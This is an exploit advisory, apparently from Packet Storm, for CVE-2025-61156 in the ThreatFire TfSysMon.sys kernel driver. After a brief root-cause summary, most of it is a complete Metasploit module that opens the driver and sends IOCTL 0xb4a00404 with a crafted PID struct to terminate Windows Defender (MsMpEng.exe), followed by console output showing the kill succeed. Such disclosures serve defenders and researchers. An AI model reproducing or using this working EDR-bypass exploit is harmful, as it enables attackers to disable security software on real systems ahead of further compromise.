## https://sploitus.com/exploit?id=PACKETSTORM:216787
=============================================================================================================================================
| # Title : ThreatFire System Monitor 4.7.0.53 Kernel‑Mode Arbitrary Process Termination (BYOVD EDR Bypass) |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.2 (64 bits) |
| # Vendor : https://threatfire.informer.com/4.7/ |
=============================================================================================================================================
[+] References : https://packetstorm.news/files/id/210976/ & CVE-2025-61156
[+] Summary : A vulnerable kernel‑mode driver, ThreatFire System Monitor (TfSysMon.sys), exposes an unsafe IOCTL interface that allows unprivileged user‑mode code to request arbitrary process termination from kernel mode.
[+] Root Cause :
The driver creates a device object (\\.\TfSysMon) accessible from user‑mode.
It accepts a custom IOCTL with a user‑controlled PID.
It fails to enforce:
Proper privilege checks
Validation of the target process
Protected Process Light (PPL) restrictions
As a result, the driver terminates processes directly from kernel context.
[+] Impact :
Protected processes can be killed, including:
Windows Defender (MsMpEng.exe)
EDR and anti‑malware agents
[+] Enables:
EDR / AV bypass
Local denial of service
Security boundary violation
Fully bypasses normal Windows user‑mode protections.
[+] POC :
msf6 > use exploit/windows/local/defender_terminate
msf6 exploit(windows/local/defender_terminate) > set SESSION 1
msf6 exploit(windows/local/defender_terminate) > run
[] Running as SYSTEM
[] Opening driver handle: \.\TfSysMon
[] Driver handle opened successfully
[] Looking for process: MsMpEng.exe
[] Found MsMpEng.exe with PID: 1234
[] Sending IOCTL: 0xb4a00404
[*] IOCTL sent successfully. Bytes returned: 0
[+] Successfully terminated MsMpEng.exe with PID: 1234
[+] Verified: MsMpEng.exe has been terminated
[*] Driver handle closed
Notes:
This code follows the standard Metasploit module structure.
Uses railgun to interact with the Windows API.
Includes detailed user messages (verbose).
Supports both x86 and x64.
Includes handle cleanup after use.
Includes operation success verification.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Local
Rank = NormalRanking
include Msf::Post::Windows::Priv
include Msf::Post::Windows::Process
include Msf::Post::Windows::FileInfo
def initialize(info = {})
super(update_info(info,
'Name' => 'Windows Defender Process Termination via TfSysMon Driver',
'Description' => %q{
This module terminates the Windows Defender process (MsMpEng.exe) by sending
a specific IOCTL to the TfSysMon driver. The driver must be installed and running
for this exploit to work.
},
'License' => MSF_LICENSE,
'Author' => ['indoushka'],
'Platform' => ['win'],
'SessionTypes' => ['meterpreter'],
'Arch' => [ARCH_X86, ARCH_X64],
'DefaultOptions' => {
'EXITFUNC' => 'thread',
},
'Targets' => [
['Windows x64', { 'Arch' => ARCH_X64 }]
],
'DefaultTarget' => 0,
'DisclosureDate' => '2024-01-01',
'References' => []
))
register_options([
OptString.new('DRIVER_NAME', [true, 'Driver name to interact with', 'TfSysMon']),
OptString.new('TARGET_PROCESS', [true, 'Target process to terminate', 'MsMpEng.exe'])
])
end
def get_driver_handle
driver_path = "\\\\.\\#{datastore['DRIVER_NAME']}"
vprint_status("Opening driver handle: #{driver_path}")
# CreateFileA equivalent in Ruby
handle = session.railgun.kernel32.CreateFileA(
driver_path,
'GENERIC_READ | GENERIC_WRITE',
0,
nil,
'OPEN_EXISTING',
'FILE_ATTRIBUTE_NORMAL',
0
)
if handle['return'] == 0 || handle['return'] == 0xFFFFFFFF
vprint_error("Failed to open driver handle. Error: #{handle['GetLastError']}")
return nil
end
vprint_good("Driver handle opened successfully")
return handle['return']
end
def get_process_id(process_name)
vprint_status("Looking for process: #{process_name}")
processes = session.sys.process.get_processes
processes.each do |proc|
if proc['name'].casecmp(process_name) == 0
vprint_good("Found #{process_name} with PID: #{proc['pid']}")
return proc['pid']
end
end
vprint_error("#{process_name} not found")
return 0
end
def send_ioctl(driver_handle, ioctl_code, in_buffer)
# ZWTERM_STRUCT structure
# 4 bytes head_pad + 4 bytes processID + 16 bytes tail_pad = 24 bytes total
# Prepare input buffer
in_buffer_size = 24
lp_bytes_returned = [0].pack('L')
vprint_status("Sending IOCTL: 0x#{ioctl_code.to_s(16).rjust(8, '0')}")
# DeviceIoControl call
result = session.railgun.kernel32.DeviceIoControl(
driver_handle,
ioctl_code,
in_buffer,
in_buffer_size,
nil,
0,
lp_bytes_returned,
nil
)
if result['return'] == false
vprint_error("DeviceIoControl failed. Error: #{result['GetLastError']}")
return false
end
bytes_returned = lp_bytes_returned.unpack('L').first
vprint_good("IOCTL sent successfully. Bytes returned: #{bytes_returned}")
return true
end
def exploit
# Check if we're running as SYSTEM
if is_system?
print_good("Running as SYSTEM")
else
print_warning("Not running as SYSTEM - some operations may fail")
end
# Get driver handle
driver_handle = get_driver_handle
if driver_handle.nil?
fail_with(Failure::NotFound, "Could not get driver handle. Is the driver started?")
end
# Get target process ID
target_pid = get_process_id(datastore['TARGET_PROCESS'])
if target_pid == 0
session.railgun.kernel32.CloseHandle(driver_handle)
fail_with(Failure::NotFound, "Target process #{datastore['TARGET_PROCESS']} not found")
end
# Prepare ZWTERM_STRUCT
# Structure: 4 bytes padding + 4 bytes PID + 16 bytes padding
zwterm_struct = "\x00" * 4 + # head_pad
[target_pid].pack('L') + # processID (little-endian)
"\x00" * 16 # tail_pad
# Send IOCTL (0xb4a00404)
ioctl_code = 0xb4a00404
if send_ioctl(driver_handle, ioctl_code, zwterm_struct)
print_good("Successfully terminated #{datastore['TARGET_PROCESS']} with PID: #{target_pid}")
# Verify process is terminated
sleep(1)
if get_process_id(datastore['TARGET_PROCESS']) == 0
print_good("Verified: #{datastore['TARGET_PROCESS']} has been terminated")
else
print_warning("Process termination may have failed - #{datastore['TARGET_PROCESS']} still running")
end
else
session.railgun.kernel32.CloseHandle(driver_handle)
fail_with(Failure::Unknown, "Failed to terminate process")
end
# Cleanup
session.railgun.kernel32.CloseHandle(driver_handle)
print_status("Driver handle closed")
end
def cleanup
# Additional cleanup if needed
super
end
end
Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================